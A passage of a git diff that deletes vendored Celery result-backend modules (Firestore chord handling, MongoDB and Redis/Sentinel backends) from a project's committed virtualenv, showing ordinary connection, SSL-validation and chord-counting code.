- ) - self._pid = getpid() - return self._firestore_client - - def _is_firestore_ttl_policy_enabled(self): - client = firestore_admin_v1.FirestoreAdminClient() - - name = ( - f"projects/{self.firestore_project}" - f"/databases/(default)/collectionGroups/{self._collection_name}" - f"/fields/{self._field_expires}" - ) - request = firestore_admin_v1.GetFieldRequest(name=name) - field = client.get_field(request=request) - - ttl_config = field.ttl_config - return ttl_config and ttl_config.state in { - firestore_admin_v1.Field.TtlConfig.State.ACTIVE, - firestore_admin_v1.Field.TtlConfig.State.CREATING, - } - - def _apply_chord_incr(self, header_result_args, body, **kwargs): - key = self.get_key_for_chord(header_result_args[0]).decode() - self._expire_chord_key(key, 86400) - return super()._apply_chord_incr(header_result_args, body, **kwargs) - - def incr(self, key: bytes) -> int: - doc = self._firestore_document(key) - resp = doc.set( - {self._field_count: firestore.Increment(1)}, - merge=True, - retry=retry.Retry( - predicate=if_exception_type(Conflict), - initial=1.0, - maximum=180.0, - multiplier=2.0, - timeout=180.0, - ), - ) - return resp.transform_results[0].integer_value - - def on_chord_part_return(self, request, state, result, **kwargs): - """Chord part return callback. - - Called for each task in the chord. - Increments the counter stored in Firestore. - If the counter reaches the number of tasks in the chord, the callback - is called. - If the callback raises an exception, the chord is marked as errored. - If the callback returns a value, the chord is marked as successful. - """ - app = self.app - gid = request.group - if not gid: - return - key = self.get_key_for_chord(gid) - val = self.incr(key) - size = request.chord.get("chord_size") - if size is None: - deps = self._restore_deps(gid, request) - if deps is None: - return - size = len(deps) - if val > size: # pragma: no cover - logger.warning( - 'Chord counter incremented too many times for %r', gid - ) - elif val == size: - # Read the deps once, to reduce the number of reads from GCS ($$) - deps = self._restore_deps(gid, request) - if deps is None: - return - callback = maybe_signature(request.chord, app=app) - j = deps.join_native - try: - with allow_join_result(): - ret = j( - timeout=app.conf.result_chord_join_timeout, - propagate=True, - ) - except Exception as exc: # pylint: disable=broad-except - try: - culprit = next(deps._failed_join_report()) - reason = 'Dependency {0.id} raised {1!r}'.format( - culprit, - exc, - ) - except StopIteration: - reason = repr(exc) - - logger.exception('Chord %r raised: %r', gid, reason) - chord_error = _create_chord_error_with_cause(message=reason, original_exc=exc) - self.chord_error_from_stack(callback, chord_error) - else: - try: - callback.delay(ret) - except Exception as exc: # pylint: disable=broad-except - logger.exception('Chord %r raised: %r', gid, exc) - self.chord_error_from_stack( - callback, - ChordError(f'Callback error: {exc!r}'), - ) - finally: - deps.delete() - # Firestore doesn't have an exact ttl policy, so delete the key. - self._delete_chord_key(key) - - def _restore_deps(self, gid, request): - app = self.app - try: - deps = GroupResult.restore(gid, backend=self) - except Exception as exc: # pylint: disable=broad-except - callback = maybe_signature(request.chord, app=app) - logger.exception('Chord %r raised: %r', gid, exc) - self.chord_error_from_stack( - callback, - ChordError(f'Cannot restore group: {exc!r}'), - ) - return - if deps is None: - try: - raise ValueError(gid) - except ValueError as exc: - callback = maybe_signature(request.chord, app=app) - logger.exception('Chord callback %r raised: %r', gid, exc) - self.chord_error_from_stack( - callback, - ChordError(f'GroupResult {gid} no longer exists'), - ) - return deps - - def _delete_chord_key(self, key): - doc = self._firestore_document(key) - doc.delete() - - def _expire_chord_key(self, key, expires): - """Set TTL policy for a Firestore document. - - Firestore ttl data is typically deleted within 24 hours after its - expiration date. - """ - val_expires = datetime.utcnow() + timedelta(seconds=expires) - doc = self._firestore_document(key) - doc.set({self._field_expires: val_expires}, merge=True) - - def _firestore_document(self, key): - return self.firestore_client.collection( - self._collection_name - ).document(bytes_to_str(key)) diff --git a/venv/Lib/site-packages/celery/backends/mongodb.py b/venv/Lib/site-packages/celery/backends/mongodb.py deleted file mode 100644 index 3bdea5ed974e858c6dc375757388b00e9a4c2bfa..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/mongodb.py +++ /dev/null @@ -1,334 +0,0 @@ -"""MongoDB result store backend.""" -from datetime import datetime, timedelta, timezone - -from kombu.exceptions import EncodeError -from kombu.utils.objects import cached_property -from kombu.utils.url import maybe_sanitize_url, urlparse - -from celery import states -from celery.exceptions import ImproperlyConfigured - -from .base import BaseBackend - -try: - import pymongo -except ImportError: - pymongo = None - -if pymongo: - try: - from bson.binary import Binary - except ImportError: - from pymongo.binary import Binary - from pymongo import uri_parser - from pymongo.errors import InvalidDocument -else: # pragma: no cover - Binary = None - - class InvalidDocument(Exception): - pass - -__all__ = ('MongoBackend',) - -BINARY_CODECS = frozenset(['pickle', 'msgpack']) - - -class MongoBackend(BaseBackend): - """MongoDB result backend. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`pymongo` is not available. - """ - - mongo_host = None - host = 'localhost' - port = 27017 - user = None - password = None - database_name = 'celery' - taskmeta_collection = 'celery_taskmeta' - groupmeta_collection = 'celery_groupmeta' - max_pool_size = 10 - options = None - - supports_autoexpire = False - - _connection = None - - def __init__(self, app=None, **kwargs): - self.options = {} - - super().__init__(app, **kwargs) - - if not pymongo: - raise ImproperlyConfigured( - 'You need to install the pymongo library to use the ' - 'MongoDB backend.') - - # Set option defaults - for key, value in self._prepare_client_options().items(): - self.options.setdefault(key, value) - - # update conf with mongo uri data, only if uri was given - if self.url: - self.url = self._ensure_mongodb_uri_compliance(self.url) - - uri_data = uri_parser.parse_uri(self.url) - # build the hosts list to create a mongo connection - hostslist = [ - f'{x[0]}:{x[1]}' for x in uri_data['nodelist'] - ] - self.user = uri_data['username'] - self.password = uri_data['password'] - self.mongo_host = hostslist - if uri_data['database']: - # if no database is provided in the uri, use default - self.database_name = uri_data['database'] - - self.options.update(uri_data['options']) - - # update conf with specific settings - config = self.app.conf.get('mongodb_backend_settings') - if config is not None: - if not isinstance(config, dict): - raise ImproperlyConfigured( - 'MongoDB backend settings should be grouped in a dict') - config = dict(config) # don't modify original - - if 'host' in config or 'port' in config: - # these should take over uri conf - self.mongo_host = None - - self.host = config.pop('host', self.host) - self.port = config.pop('port', self.port) - self.mongo_host = config.pop('mongo_host', self.mongo_host) - self.user = config.pop('user', self.user) - self.password = config.pop('password', self.password) - self.database_name = config.pop('database', self.database_name) - self.taskmeta_collection = config.pop( - 'taskmeta_collection', self.taskmeta_collection, - ) - self.groupmeta_collection = config.pop( - 'groupmeta_collection', self.groupmeta_collection, - ) - - self.options.update(config.pop('options', {})) - self.options.update(config) - - @staticmethod - def _ensure_mongodb_uri_compliance(url): - parsed_url = urlparse(url) - if not parsed_url.scheme.startswith('mongodb'): - url = f'mongodb+{url}' - - if url == 'mongodb://': - url += 'localhost' - - return url - - def _prepare_client_options(self): - if pymongo.version_tuple >= (3,): - return {'maxPoolSize': self.max_pool_size} - else: # pragma: no cover - return {'max_pool_size': self.max_pool_size, - 'auto_start_request': False} - - def _get_connection(self): - """Connect to the MongoDB server.""" - if self._connection is None: - from pymongo import MongoClient - - host = self.mongo_host - if not host: - # The first pymongo.Connection() argument (host) can be - # a list of ['host:port'] elements or a mongodb connection - # URI. If this is the case, don't use self.port - # but let pymongo get the port(s) from the URI instead. - # This enables the use of replica sets and sharding. - # See pymongo.Connection() for more info. - host = self.host - if isinstance(host, str) \ - and not host.startswith('mongodb://'): - host = f'mongodb://{host}:{self.port}' - # don't change self.options - conf = dict(self.options) - conf['host'] = host - if self.user: - conf['username'] = self.user - if self.password: - conf['password'] = self.password - - self._connection = MongoClient(**conf) - - return self._connection - - def encode(self, data): - if self.serializer == 'bson': - # mongodb handles serialization - return data - payload = super().encode(data) - - # serializer which are in a unsupported format (pickle/binary) - if self.serializer in BINARY_CODECS: - payload = Binary(payload) - return payload - - def decode(self, data): - if self.serializer == 'bson': - return data - return super().decode(data) - - def _store_result(self, task_id, result, state, - traceback=None, request=None, **kwargs): - """Store return value and state of an executed task.""" - meta = self._get_result_meta(result=self.encode(result), state=state, - traceback=traceback, request=request, - format_date=False) - # Add the _id for mongodb - meta['_id'] = task_id - - try: - self.collection.replace_one({'_id': task_id}, meta, upsert=True) - except InvalidDocument as exc: - raise EncodeError(exc) - - return result - - def _get_task_meta_for(self, task_id): - """Get task meta-data for a task by id.""" - obj = self.collection.find_one({'_id': task_id}) - if obj: - if self.app.conf.find_value_for_key('extended', 'result'): - return self.meta_from_decoded({ - 'name': obj['name'], - 'args': obj['args'], - 'task_id': obj['_id'], - 'queue': obj['queue'], - 'kwargs': obj['kwargs'], - 'status': obj['status'], - 'worker': obj['worker'], - 'retries': obj['retries'], - 'children': obj['children'], - 'date_done': obj['date_done'], - 'traceback': obj['traceback'], - 'result': self.decode(obj['result']), - }) - return self.meta_from_decoded({ - 'task_id': obj['_id'], - 'status': obj['status'], - 'result': self.decode(obj['result']), - 'date_done': obj['date_done'], - 'traceback': obj['traceback'], - 'children': obj['children'], - }) - return {'status': states.PENDING, 'result': None} - - def _save_group(self, group_id, result): - """Save the group result.""" - meta = { - '_id': group_id, - 'result': self.encode([i.id for i in result]), - 'date_done': datetime.now(timezone.utc), - } - self.group_collection.replace_one({'_id': group_id}, meta, upsert=True) - return result - - def _restore_group(self, group_id): - """Get the result for a group by id.""" - obj = self.group_collection.find_one({'_id': group_id}) - if obj: - return { - 'task_id': obj['_id'], - 'date_done': obj['date_done'], - 'result': [ - self.app.AsyncResult(task) - for task in self.decode(obj['result']) - ], - } - - def _delete_group(self, group_id): - """Delete a group by id.""" - self.group_collection.delete_one({'_id': group_id}) - - def _forget(self, task_id): - """Remove result from MongoDB. - - Raises: - pymongo.exceptions.OperationsError: - if the task_id could not be removed. - """ - # By using safe=True, this will wait until it receives a response from - # the server. Likewise, it will raise an OperationsError if the - # response was unable to be completed. - self.collection.delete_one({'_id': task_id}) - - def cleanup(self): - """Delete expired meta-data.""" - if not self.expires: - return - - self.collection.delete_many( - {'date_done': {'$lt': self.app.now() - self.expires_delta}}, - ) - self.group_collection.delete_many( - {'date_done': {'$lt': self.app.now() - self.expires_delta}}, - ) - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - return super().__reduce__( - args, dict(kwargs, expires=self.expires, url=self.url)) - - def _get_database(self): - conn = self._get_connection() - return conn[self.database_name] - - @cached_property - def database(self): - """Get database from MongoDB connection. - - performs authentication if necessary. - """ - return self._get_database() - - @cached_property - def collection(self): - """Get the meta-data task collection.""" - collection = self.database[self.taskmeta_collection] - - # Ensure an index on date_done is there, if not process the index - # in the background. Once completed cleanup will be much faster - collection.create_index('date_done', background=True) - return collection - - @cached_property - def group_collection(self): - """Get the meta-data task collection.""" - collection = self.database[self.groupmeta_collection] - - # Ensure an index on date_done is there, if not process the index - # in the background. Once completed cleanup will be much faster - collection.create_index('date_done', background=True) - return collection - - @cached_property - def expires_delta(self): - return timedelta(seconds=self.expires) - - def as_uri(self, include_password=False): - """Return the backend as an URI. - - Arguments: - include_password (bool): Password censored if disabled. - """ - if not self.url: - return 'mongodb://' - if include_password: - return self.url - - if ',' not in self.url: - return maybe_sanitize_url(self.url) - - uri1, remainder = self.url.split(',', 1) - return ','.join([maybe_sanitize_url(uri1), remainder]) diff --git a/venv/Lib/site-packages/celery/backends/redis.py b/venv/Lib/site-packages/celery/backends/redis.py deleted file mode 100644 index 154285f2a7ec9f3eb9cc207caa00f4f934ed9b2e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/redis.py +++ /dev/null @@ -1,705 +0,0 @@ -"""Redis result store backend.""" -import time -from functools import partial -from ssl import CERT_NONE, CERT_OPTIONAL, CERT_REQUIRED -from urllib.parse import unquote - -from kombu.utils import symbol_by_name -from kombu.utils.functional import retry_over_time -from kombu.utils.objects import cached_property -from kombu.utils.url import _parse_url, maybe_sanitize_url -from redis import CredentialProvider - -from celery import states -from celery._state import task_join_will_block -from celery.backends.base import _create_chord_error_with_cause -from celery.canvas import maybe_signature -from celery.exceptions import BackendStoreError, ChordError, ImproperlyConfigured -from celery.result import GroupResult, allow_join_result -from celery.utils.functional import _regen, dictfilter -from celery.utils.log import get_logger -from celery.utils.time import humanize_seconds - -from .asynchronous import AsyncBackendMixin, BaseResultConsumer -from .base import BaseKeyValueStoreBackend - -try: - import redis.connection - from kombu.transport.redis import get_redis_error_classes -except ImportError: - redis = None - get_redis_error_classes = None - -try: - import redis.sentinel -except ImportError: - pass - -__all__ = ('RedisBackend', 'SentinelBackend') - -E_REDIS_MISSING = """ -You need to install the redis library in order to use \ -the Redis result store backend. -""" - -E_REDIS_SENTINEL_MISSING = """ -You need to install the redis library with support of \ -sentinel in order to use the Redis result store backend. -""" - -W_REDIS_SSL_CERT_OPTIONAL = """ -Setting ssl_cert_reqs=CERT_OPTIONAL when connecting to redis means that \ -celery might not validate the identity of the redis broker when connecting. \ -This leaves you vulnerable to man in the middle attacks. -""" - -W_REDIS_SSL_CERT_NONE = """ -Setting ssl_cert_reqs=CERT_NONE when connecting to redis means that celery \ -will not validate the identity of the redis broker when connecting. This \ -leaves you vulnerable to man in the middle attacks. -""" - -E_REDIS_SSL_PARAMS_AND_SCHEME_MISMATCH = """ -SSL connection parameters have been provided but the specified URL scheme \ -is redis://. A Redis SSL connection URL should use the scheme rediss://. -""" - -E_REDIS_SSL_CERT_REQS_MISSING_INVALID = """ -A rediss:// URL must have parameter ssl_cert_reqs and this must be set to \ -CERT_REQUIRED, CERT_OPTIONAL, or CERT_NONE -""" - -E_LOST = 'Connection to Redis lost: Retry (%s/%s) %s.' - -logger = get_logger(__name__) - - -class ResultConsumer(BaseResultConsumer): - _pubsub = None - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self._get_key_for_task = self.backend.get_key_for_task - self._decode_result = self.backend.decode_result - self._ensure = self.backend.ensure - self._connection_errors = self.backend.connection_errors - self.subscribed_to = set() - - def on_after_fork(self): - try: - self.backend.client.connection_pool.reset() - if self._pubsub is not None: - self._pubsub.close() - except KeyError as e: - logger.warning(str(e)) - super().on_after_fork() - - def _reconnect_pubsub(self): - self._pubsub = None - self.backend.client.connection_pool.reset() - # task state might have changed when the connection was down so we - # retrieve meta for all subscribed tasks before going into pubsub mode - if self.subscribed_to: - metas = self.backend.client.mget(self.subscribed_to) - metas = [meta for meta in metas if meta] - for meta in metas: - self.on_state_change(self._decode_result(meta), None) - self._pubsub = self.backend.client.pubsub( - ignore_subscribe_messages=True, - ) - # subscribed_to maybe empty after on_state_change - if self.subscribed_to: - self._pubsub.subscribe(*self.subscribed_to) - else: - self._pubsub.connection = self._pubsub.connection_pool.get_connection() - # even if there is nothing to subscribe, we should not lose the callback after connecting. - # The on_connect callback will re-subscribe to any channels we previously subscribed to. - self._pubsub.connection.register_connect_callback(self._pubsub.on_connect) - - def _reconnect(self): - """Re-establish the Redis pub/sub connection with retry.""" - self._ensure(self._reconnect_pubsub, ()) - - def _maybe_cancel_ready_task(self, meta): - if meta['status'] in states.READY_STATES: - self.cancel_for(meta['task_id']) - - def on_state_change(self, meta, message): - super().on_state_change(meta, message) - self._maybe_cancel_ready_task(meta) - - def start(self, initial_task_id, **kwargs): - self._pubsub = self.backend.client.pubsub( - ignore_subscribe_messages=True, - ) - self._consume_from(initial_task_id) - - def on_wait_for_pending(self, result, **kwargs): - for meta in result._iter_meta(**kwargs): - if meta is not None: - self.on_state_change(meta, None) - - def stop(self): - if self._pubsub is not None: - self._pubsub.close() - - def drain_events(self, timeout=None): - if self._pubsub: - with self.reconnect_on_error(): - message = self._pubsub.get_message(timeout=timeout) - if message and message['type'] == 'message': - self.on_state_change(self._decode_result(message['data']), message) - elif timeout: - time.sleep(timeout) - - def consume_from(self, task_id): - if self._pubsub is None: - return self.start(task_id) - self._consume_from(task_id) - - def _consume_from(self, task_id): - key = self._get_key_for_task(task_id) - if key not in self.subscribed_to: - self.subscribed_to.add(key) - with self.reconnect_on_error(): - self._pubsub.subscribe(key) - - def cancel_for(self, task_id): - key = self._get_key_for_task(task_id) - self.subscribed_to.discard(key) - if self._pubsub: - with self.reconnect_on_error(): - self._pubsub.unsubscribe(key) - - -class RedisBackend(BaseKeyValueStoreBackend, AsyncBackendMixin): - """Redis task result store. - - It makes use of the following commands: - GET, MGET, DEL, INCRBY, EXPIRE, SET, SETEX - """ - - ResultConsumer = ResultConsumer - - #: :pypi:`redis` client module. - redis = redis - connection_class_ssl = redis.SSLConnection if redis else None - - #: Maximum number of connections in the pool. - max_connections = None - - supports_autoexpire = True - supports_native_join = True - - #: Maximal length of string value in Redis. - #: 512 MB - https://redis.io/topics/data-types - _MAX_STR_VALUE_SIZE = 536870912 - - def __init__(self, host=None, port=None, db=None, password=None, - max_connections=None, url=None, - connection_pool=None, **kwargs): - super().__init__(expires_type=int, **kwargs) - _get = self.app.conf.get - if self.redis is None: - raise ImproperlyConfigured(E_REDIS_MISSING.strip()) - - if host and '://' in host: - url, host = host, None - - self.max_connections = ( - max_connections or - _get('redis_max_connections') or - self.max_connections) - self._ConnectionPool = connection_pool - - socket_timeout = _get('redis_socket_timeout') - socket_connect_timeout = _get('redis_socket_connect_timeout') - retry_on_timeout = _get('redis_retry_on_timeout') - socket_keepalive = _get('redis_socket_keepalive') - health_check_interval = _get('redis_backend_health_check_interval') - credential_provider = _get('redis_backend_credential_provider') - - self.connparams = { - 'host': _get('redis_host') or 'localhost', - 'port': _get('redis_port') or 6379, - 'db': _get('redis_db') or 0, - 'password': _get('redis_password'), - 'max_connections': self.max_connections, - 'socket_timeout': socket_timeout and float(socket_timeout), - 'retry_on_timeout': retry_on_timeout or False, - 'socket_connect_timeout': - socket_connect_timeout and float(socket_connect_timeout), - 'client_name': _get('redis_client_name'), - } - - username = _get('redis_username') - if username: - # We're extra careful to avoid including this configuration value - # if it wasn't specified since older versions of py-redis - # don't support specifying a username. - # Only Redis>6.0 supports username/password authentication. - - # TODO: Include this in connparams' definition once we drop - # support for py-redis<3.4.0. - self.connparams['username'] = username - - if credential_provider: - # if credential provider passed as string or query param - if isinstance(credential_provider, str): - credential_provider_cls = symbol_by_name(credential_provider) - credential_provider = credential_provider_cls() - - if not isinstance(credential_provider, CredentialProvider): - raise ValueError( - "Credential provider is not an instance of a redis.CredentialProvider or a subclass" - ) - - self.connparams['credential_provider'] = credential_provider - - # drop username and password if credential provider is configured - self.connparams.pop("username", None) - self.connparams.pop("password", None) - - if health_check_interval: - self.connparams["health_check_interval"] = health_check_interval - - # absent in redis.connection.UnixDomainSocketConnection - if socket_keepalive: - self.connparams['socket_keepalive'] = socket_keepalive - - # "redis_backend_use_ssl" must be a dict with the keys: - # 'ssl_cert_reqs', 'ssl_ca_certs', 'ssl_certfile', 'ssl_keyfile' - # (the same as "broker_use_ssl") - ssl = _get('redis_backend_use_ssl') - if ssl: - self.connparams.update(ssl) - self.connparams['connection_class'] = self.connection_class_ssl - - if url: - self.connparams = self._params_from_url(url, self.connparams) - - # If we've received SSL parameters via query string or the - # redis_backend_use_ssl dict, check ssl_cert_reqs is valid. If set - # via query string ssl_cert_reqs will be a string so convert it here - if ('connection_class' in self.connparams and - issubclass(self.connparams['connection_class'], redis.SSLConnection)): - ssl_cert_reqs_missing = 'MISSING' - ssl_string_to_constant = {'CERT_REQUIRED': CERT_REQUIRED, - 'CERT_OPTIONAL': CERT_OPTIONAL, - 'CERT_NONE': CERT_NONE, - 'required': CERT_REQUIRED, - 'optional': CERT_OPTIONAL, - 'none': CERT_NONE} - ssl_cert_reqs = self.connparams.get('ssl_cert_reqs', ssl_cert_reqs_missing) - ssl_cert_reqs = ssl_string_to_constant.get(ssl_cert_reqs, ssl_cert_reqs) - if ssl_cert_reqs not in ssl_string_to_constant.values(): - raise ValueError(E_REDIS_SSL_CERT_REQS_MISSING_INVALID) - - if ssl_cert_reqs == CERT_OPTIONAL: - logger.warning(W_REDIS_SSL_CERT_OPTIONAL) - elif ssl_cert_reqs == CERT_NONE: - logger.warning(W_REDIS_SSL_CERT_NONE) - self.connparams['ssl_cert_reqs'] = ssl_cert_reqs - - self.url = url - - self.connection_errors, self.channel_errors = ( - get_redis_error_classes() if get_redis_error_classes - else ((), ())) - self.result_consumer = self.ResultConsumer( - self, self.app, self.accept, - self._pending_results, self._pending_messages, - ) - - def _params_from_url(self, url, defaults): - scheme, host, port, username, password, path, query = _parse_url(url) - connparams = dict( - defaults, **dictfilter({ - 'host': host, 'port': port, 'username': username, - 'password': password, 'db': query.pop('virtual_host', None)}) - ) - - if scheme == 'socket': - # use 'path' as path to the socket… in this case - # the database number should be given in 'query' - connparams.update({ - 'connection_class': self.redis.UnixDomainSocketConnection, - 'path': '/' + path, - }) - # host+port are invalid options when using this connection type. - connparams.pop('host', None) - connparams.pop('port', None) - connparams.pop('socket_connect_timeout') - else: - connparams['db'] = path - - ssl_param_keys = ['ssl_ca_certs', 'ssl_certfile', 'ssl_keyfile', - 'ssl_cert_reqs'] - - if scheme == 'redis': - # If connparams or query string contain ssl params, raise error - if (any(key in connparams for key in ssl_param_keys) or - any(key in query for key in ssl_param_keys)): - raise ValueError(E_REDIS_SSL_PARAMS_AND_SCHEME_MISMATCH) - - if scheme == 'rediss': - connparams['connection_class'] = redis.SSLConnection - # The following parameters, if present in the URL, are encoded. We - # must add the decoded values to connparams. - for ssl_setting in ssl_param_keys: - ssl_val = query.pop(ssl_setting, None) - if ssl_val: - connparams[ssl_setting] = unquote(ssl_val) - - # db may be string and start with / like in kombu. - db = connparams.get('db') or 0 - db = db.strip('/') if isinstance(db, str) else db - connparams['db'] = int(db) - - # credential provider as query string - credential_provider = query.pop("credential_provider", None) - if credential_provider: - if isinstance(credential_provider, str): - credential_provider_cls = symbol_by_name(credential_provider) - credential_provider = credential_provider_cls() - - if not isinstance(credential_provider, CredentialProvider): - raise ValueError( - "Credential provider is not an instance of a redis.CredentialProvider or a subclass" - ) - - connparams['credential_provider'] = credential_provider - # drop username and password if credential provider is configured - connparams.pop("username", None) - connparams.pop("password", None) - - for key, value in query.items(): - if key in redis.connection.URL_QUERY_ARGUMENT_PARSERS: - query[key] = redis.connection.URL_QUERY_ARGUMENT_PARSERS[key]( - value - ) - - # Query parameters override other parameters - connparams.update(query) - return connparams - - def exception_safe_to_retry(self, exc): - if isinstance(exc, self.connection_errors): - return True - return False - - @cached_property - def retry_policy(self): - retry_policy = super().retry_policy - if "retry_policy" in self._transport_options: - retry_policy = retry_policy.copy() - retry_policy.update(self._transport_options['retry_policy']) - - return retry_policy - - def on_task_call(self, producer, task_id): - if not task_join_will_block(): - self.result_consumer.consume_from(task_id) - - def get(self, key): - return self.client.get(key) - - def mget(self, keys): - return self.client.mget(keys) - - def ensure(self, fun, args, **policy): - retry_policy = dict(self.retry_policy, **policy) - max_retries = retry_policy.get('max_retries') - return retry_over_time( - fun, self.connection_errors, args, {}, - partial(self.on_connection_error, max_retries), - **retry_policy) - - def on_connection_error(self, max_retries, exc, intervals, retries): - tts = next(intervals) - logger.error( - E_LOST.strip(), - retries, max_retries or 'Inf', humanize_seconds(tts, 'in ')) - return tts - - def set(self, key, value, **retry_policy): - if isinstance(value, str) and len(value) > self._MAX_STR_VALUE_SIZE: - raise BackendStoreError('value too large for Redis backend') - - return self.ensure(self._set, (key, value), **retry_policy) - - def _set(self, key, value): - with self.client.pipeline() as pipe: - if self.expires: - pipe.setex(key, self.expires, value) - else: - pipe.set(key, value) - pipe.publish(key, value) - pipe.execute() - - def forget(self, task_id): - super().forget(task_id) - self.result_consumer.cancel_for(task_id) - - def delete(self, key): - self.client.delete(key) - - def incr(self, key): - return self.client.incr(key) - - def expire(self, key, value): - return self.client.expire(key, value) - - def add_to_chord(self, group_id, result): - self.client.incr(self.get_key_for_group(group_id, '.t'), 1) - - def _unpack_chord_result(self, tup, decode, - EXCEPTION_STATES=states.EXCEPTION_STATES, - PROPAGATE_STATES=states.PROPAGATE_STATES): - _, tid, state, retval = decode(tup) - if state in EXCEPTION_STATES: - retval = self.exception_to_python(retval) - if state in PROPAGATE_STATES: - chord_error = _create_chord_error_with_cause( - message=f'Dependency {tid} raised {retval!r}', original_exc=retval - ) - raise chord_error - return retval - - def set_chord_size(self, group_id, chord_size): - self.set(self.get_key_for_group(group_id, '.s'), chord_size) - - def apply_chord(self, header_result_args, body, **kwargs): - # If any of the child results of this chord are complex (ie. group - # results themselves), we need to save `header_result` to ensure that - # the expected structure is retained when we finish the chord and pass - # the results onward to the body in `on_chord_part_return()`. We don't - # do this is all cases to retain an optimisation in the common case - # where a chord header is comprised of simple result objects. - if not isinstance(header_result_args[1], _regen): - header_result = self.app.GroupResult(*header_result_args) - if any(isinstance(nr, GroupResult) for nr in header_result.results): - header_result.save(backend=self) - - @cached_property - def _chord_zset(self): - return self._transport_options.get('result_chord_ordered', True) - - @cached_property - def _transport_options(self): - return self.app.conf.get('result_backend_transport_options', {}) - - def on_chord_part_return(self, request, state, result, - propagate=None, **kwargs): - app = self.app - tid, gid, group_index = request.id, request.group, request.group_index - if not gid or not tid: - return - if group_index is None: - group_index = '+inf' - - client = self.client - jkey = self.get_key_for_group(gid, '.j') - tkey = self.get_key_for_group(gid, '.t') - skey = self.get_key_for_group(gid, '.s') - result = self.encode_result(result, state) - encoded = self.encode([1, tid, state, result]) - with client.pipeline() as pipe: - pipeline = ( - pipe.zadd(jkey, {encoded: group_index}).zcount(jkey, "-inf", "+inf") - if self._chord_zset - else pipe.rpush(jkey, encoded).llen(jkey) - ).get(tkey).get(skey) - if self.expires: - pipeline = pipeline \ - .expire(jkey, self.expires) \ - .expire(tkey, self.expires) \ - .expire(skey, self.expires) - - _, readycount, totaldiff, chord_size_bytes = pipeline.execute()[:4] - - totaldiff = int(totaldiff or 0) - - if chord_size_bytes: - try: - callback = maybe_signature(request.chord, app=app) - total = int(chord_size_bytes) + totaldiff - if readycount == total: - header_result = GroupResult.restore(gid, app=app) - if header_result is not None: - # If we manage to restore a `GroupResult`, then it must - # have been complex and saved by `apply_chord()` earlier. - # - # Before we can join the `GroupResult`, it needs to be - # manually marked as ready to avoid blocking - header_result.on_ready() - # We'll `join()` it to get the results and ensure they are - # structured as intended rather than the flattened version - # we'd construct without any other information. - join_func = ( - header_result.join_native - if header_result.supports_native_join - else header_result.join - ) - with allow_join_result(): - resl = join_func( - timeout=app.conf.result_chord_join_timeout, - propagate=True - ) - else: - # Otherwise simply extract and decode the results we - # stashed along the way, which should be faster for large - # numbers of simple results in the chord header. - decode, unpack = self.decode, self._unpack_chord_result - with client.pipeline() as pipe: - if self._chord_zset: - pipeline = pipe.zrange(jkey, 0, -1) - else: - pipeline = pipe.lrange(jkey, 0, total) - resl, = pipeline.execute() - resl = [unpack(tup, decode) for tup in resl] - try: - callback.delay(resl) - except Exception as exc: # pylint: disable=broad-except - logger.exception( - 'Chord callback for %r raised: %r', request.group, exc) - return self.chord_error_from_stack( - callback, - ChordError(f'Callback error: {exc!r}'), - ) - finally: - with client.pipeline() as pipe: - pipe \ - .delete(jkey) \ - .delete(tkey) \ - .delete(skey) \ - .execute() - except ChordError as exc: - logger.exception('Chord %r raised: %r', request.group, exc) - return self.chord_error_from_stack(callback, exc) - except Exception as exc: # pylint: disable=broad-except - logger.exception('Chord %r raised: %r', request.group, exc) - return self.chord_error_from_stack( - callback, - ChordError(f'Join error: {exc!r}'), - ) - - def _create_client(self, **params): - return self._get_client()( - connection_pool=self._get_pool(**params), - ) - - def _get_client(self): - return self.redis.StrictRedis - - def _get_pool(self, **params): - return self.ConnectionPool(**params) - - @property - def ConnectionPool(self): - if self._ConnectionPool is None: - self._ConnectionPool = self.redis.ConnectionPool - return self._ConnectionPool - - @cached_property - def client(self): - return self._create_client(**self.connparams) - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - return super().__reduce__( - args, dict(kwargs, expires=self.expires, url=self.url)) - - -if getattr(redis, "sentinel", None): - class SentinelManagedSSLConnection( - redis.sentinel.SentinelManagedConnection, - redis.SSLConnection): - """Connect to a Redis server using Sentinel + TLS. - - Use Sentinel to identify which Redis server is the current master - to connect to and when connecting to the Master server, use an - SSL Connection. - """ - - -class SentinelBackend(RedisBackend): - """Redis sentinel task result store.""" - - # URL looks like `sentinel://0.0.0.0:26347/3;sentinel://0.0.0.0:26348/3` - _SERVER_URI_SEPARATOR = ";" - - sentinel = getattr(redis, "sentinel", None) - connection_class_ssl = SentinelManagedSSLConnection if sentinel else None - - def __init__(self, *args, **kwargs): - if self.sentinel is None: - raise ImproperlyConfigured(E_REDIS_SENTINEL_MISSING.strip()) - - super().__init__(*args, **kwargs) - - def as_uri(self, include_password=False): - """Return the server addresses as URIs, sanitizing the password or not.""" - # Allow superclass to do work if we don't need to force sanitization - if include_password: - return super().as_uri( - include_password=include_password, - ) - # Otherwise we need to ensure that all components get sanitized rather - # by passing them one by one to the `kombu` helper - uri_chunks = ( - maybe_sanitize_url(chunk) - for chunk in (self.url or "").split(self._SERVER_URI_SEPARATOR) - ) - # Similar to the superclass, strip the trailing slash from URIs with - # all components empty other than the scheme - return self._SERVER_URI_SEPARATOR.join( - uri[:-1] if uri.endswith(":///") else uri - for uri in uri_chunks - ) - - def _params_from_url(self, url, defaults): - chunks = url.split(self._SERVER_URI_SEPARATOR) - connparams = dict(defaults, hosts=[]) - for chunk in chunks: - data = super()._params_from_url( - url=chunk, defaults=defaults) - connparams['hosts'].append(data) - for param in ("host", "port", "db", "password"): - connparams.pop(param) - - # Adding db/password/username in connparams to connect to the correct instance - for param in ("db", "password", "username"): - if connparams['hosts'] and param in connparams['hosts'][0]: - connparams[param] = connparams['hosts'][0].get(param) - return connparams - - def _get_sentinel_instance(self, **params): - connparams = params.copy() - - hosts = connparams.pop("hosts") - min_other_sentinels = self._transport_options.get("min_other_sentinels", 0) - sentinel_kwargs = self._transport_options.get("sentinel_kwargs", {}) - - sentinel_instance = self.sentinel.Sentinel( - [(cp['host'], cp['port']) for cp in hosts], - min_other_sentinels=min_other_sentinels, - sentinel_kwargs=sentinel_kwargs, - **connparams) - - return 